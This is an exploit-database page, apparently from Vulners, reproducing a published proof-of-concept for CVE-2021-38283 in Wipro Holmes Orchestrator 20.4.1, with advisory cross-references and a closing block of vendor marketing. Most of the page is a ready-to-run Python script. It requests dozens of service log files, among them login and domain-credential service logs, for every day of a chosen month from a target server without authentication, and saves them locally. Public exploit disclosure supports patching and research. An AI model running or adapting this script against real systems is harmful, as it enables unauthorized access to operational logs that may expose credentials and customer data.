Lucene search
K

Wipro Holmes Orchestrator 20.4.1 File Disclosure

🗓️ 22 Nov 2021 00:00:00Reported by Rizal MuhammedType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 376 Views

Wipro Holmes Orchestrator 20.4.1 Unauthenticated Log File Disclosure on Windows 10 x6

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Wipro Holmes Orchestrator 20.4.1 File Disclosure Exploit
22 Nov 202100:00
zdt
0day.today
Wipro Holmes Orchestrator 20.4.1 - Log File Disclosure Exploit
2 Jun 202400:00
zdt
CNNVD
Wipro Holmes Orchestrator 访问控制错误漏洞
22 Nov 202100:00
cnnvd
CNVD
Wipro Holmes Orchestrator Log Information Disclosure Vulnerability
24 Nov 202100:00
cnvd
CVE
CVE-2021-38283
29 Nov 202107:45
cve
Cvelist
CVE-2021-38283
29 Nov 202107:45
cvelist
Exploit DB
Wipro Holmes Orchestrator 20.4.1 - Log File Disclosure
1 Jun 202400:00
exploitdb
EUVD
EUVD-2021-24741
7 Oct 202500:30
euvd
NVD
CVE-2021-38283
29 Nov 202108:15
nvd
Prion
Design/Logic Flaw
29 Nov 202108:15
prion
Rows per page
`# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Log File Disclosure  
# Date: 09/08/2021  
# Exploit Author: Rizal Muhammed @ub3rsick  
# Vendor Homepage: https://www.wipro.com/holmes/  
# Version: 20.4.1  
# Tested on: Windows 10 x64  
# CVE : CVE-2021-38283  
  
import requests as rq  
import argparse  
import datetime  
import os  
from calendar import monthrange  
from multiprocessing.dummy import Pool as ThreadPool  
from functools import partial  
  
# Change if running on different port  
port = 8001  
  
log_list = [  
"AlertService.txt",  
"ApprovalService.txt",  
"AuditService.txt",  
"CustomerController.txt",  
"CustomerDomainCredentialService.txt",  
"CustomerFileService.txt",  
"CustomerService.txt",  
"DashboardController.txt",  
"DataParseService.txt",  
"DomainService.txt",  
"ExecutionService.txt",  
"ExternalAPIService.txt",  
"FilesController.txt",  
"FormService.txt",  
"InfrastructureService.txt",  
"ITSMConfigPrepService.txt",  
"LicenseService.txt",  
"LoginService.txt",  
"MailService.txt",  
"MasterdataController.txt",  
"NetworkService.txt",  
"OrchestrationPreparationService.txt",  
"ProblemInfrastructureService.txt",  
"ProcessExecutionService.txt",  
"ServiceRequestService.txt",  
"SolutionController.txt",  
"SolutionLiveService.txt",  
"SolutionService.txt",  
"StorageService.txt",  
"TaskService.txt",  
"TicketingService.txt",  
"UserController.txt",  
"UtilityService.txt"  
  
]  
  
def check_month(val):  
ival = int(val)  
if ival > 0 and ival < 13:  
return ival  
else:  
raise argparse.ArgumentTypeError("%s is not a valid month" % val)  
  
def check_year(val):  
iyear = int(val)  
if iyear >= 1960 and iyear <= datetime.date.today().year:  
return iyear  
else:  
raise argparse.ArgumentTypeError("%s is not a valid year" % val)  
  
  
def do_request(target, date, log_file):  
log_url = "http://%s/log/%s/%s" % (target, date, log_file)  
  
log_name = "%s_%s" % (date, log_file)  
print ("[*] Requesting Log: /log/%s/%s" % (date, log_file))  
  
resp = rq.get(log_url)  
  
if resp.status_code == 200 and not "Wipro Ltd." in resp.text:  
print ("[+] Success : %s" % log_url)  
#print (resp.text[0:150] + "\n<...snipped...>")  
with open("logs/%s" % log_name, 'w') as lf:  
lf.write(resp.text)  
lf.close()  
print ("[*] Log File Written to ./logs/%s" % (log_name))  
  
def main():  
  
parser = argparse.ArgumentParser(  
description="Wipro Holmes Orchestrator 20.4.1 Unauthenticated Log File Disclosure",  
epilog="Vulnerability Discovery, PoC Author - Rizal Muhammed @ub3sick"  
)  
  
parser.add_argument("-t","--target-ip", help="IP Address of the target server", required=True)  
parser.add_argument("-m","--month", help="Month of the log, (1=JAN, 2=FEB etc.)", required=True, type=check_month)  
parser.add_argument("-y","--year", help="year of the log", required=True, type=check_year)  
args = parser.parse_args()  
  
ndays = monthrange(args.year, args.month)[1]  
date_list = ["%s" % datetime.date(args.year, args.month,day) for day in range(1,ndays+1,1)]  
  
target = "%s:%s" % (args.target_ip, port)  
  
# create folder "logs" to save log files, if does not exist  
if not os.path.exists("./logs"):  
os.makedirs("./logs")  
  
for log_date in date_list:  
for log_file in log_list:  
do_request(target, log_date, log_file)  
  
if __name__ == "__main__":  
main()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation